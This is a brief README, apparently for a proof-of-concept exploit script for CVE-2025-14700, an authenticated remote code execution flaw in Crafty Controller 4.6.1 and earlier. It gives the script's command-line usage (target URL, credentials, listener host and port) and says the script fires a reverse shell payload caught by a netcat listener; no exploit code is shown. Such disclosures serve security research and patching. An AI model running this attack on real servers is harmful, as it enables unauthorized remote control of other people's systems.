
Proof of Concept for Authenticated RCE in Crafty Controller <= 4.6.1
Usage :
./CVE-2025-14700.py --url <crafty_controller_host> --login <username> --password <password> --lhost <listener_host> --lport <listener_port>
This script uses netcat to setup a listener after triggering the reverse shell payload, it won't work if you don't have netcat on your listener machine.